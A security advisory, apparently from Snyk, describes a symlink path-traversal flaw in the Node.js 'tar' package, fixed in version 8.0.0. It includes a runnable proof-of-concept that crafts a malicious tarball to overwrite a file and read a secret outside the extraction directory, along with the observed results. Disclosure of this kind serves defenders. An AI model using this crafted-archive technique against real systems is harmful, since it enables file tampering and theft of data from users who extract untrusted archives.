Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade tar to version 8.0.0 or higher.
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack via the [STRIPABSOLUTEPATH] and [SYMLINK] handlers in src/unpack.ts, which perform only a lexical check on symlink linkpaths during extraction. An attacker can craft a tarball containing a symlink (e.g., l1 -> .) followed by a second symlink whose linkpath traverses through the first (e.g., esc -> l1/../outside.txt). Because path.posix.normalize collapses the l1/.. pair textually before any filesystem lstat is performed, the escape check passes, but the kernel resolves l1/.. through the symlink target, placing the resulting symlink outside the extraction directory. Any subsequent read or write through the extracted tree then reaches arbitrary files or directories above the extraction root with the privileges of the extracting user.
Header):const fs = require('fs'), tar = require('tar')
const hdr = (p, l) => { const b = Buffer.alloc(512); new tar.Header({ path: p, type: 'SymbolicLink', linkpath: l }).encode(b, 0); return b }
fs.writeFileSync('evil.tar', Buffer.concat([hdr('l1', '.'), hdr('esc', 'l1/../outside.txt'), hdr('escdir', 'l1/..'), Buffer.alloc(1024)]))
fs.writeFileSync('control.tar', Buffer.concat([hdr('esc', '../outside.txt'), Buffer.alloc(1024)]))
fs.mkdirSync('root/extract', { recursive: true })
fs.writeFileSync('root/outside.txt', 'ORIGINAL\n'); fs.writeFileSync('root/secret.txt', 'DUMMY-SECRET\n')
await tar.x({ cwd: 'root/extract', file: 'evil.tar' }) // same with sync: true
fs.writeFileSync('root/extract/esc', 'PWNED\n')
console.log(fs.readFileSync('root/outside.txt', 'utf8')) // PWNED
console.log(fs.readFileSync('root/extract/escdir/secret.txt', 'utf8')) // DUMMY-SECRET
Observed on 7.5.23 (repeated runs, async and sync): control.tar is rejected with "linkpath escapes extraction directory" and outside.txt stays ORIGINAL. evil.tar yields warnings=[], realpath(esc) = root/outside.txt, realpath(escdir) = root; outside.txt is overwritten and the outside secret is read. The deeper variant above overwrote a file three directories above cwd.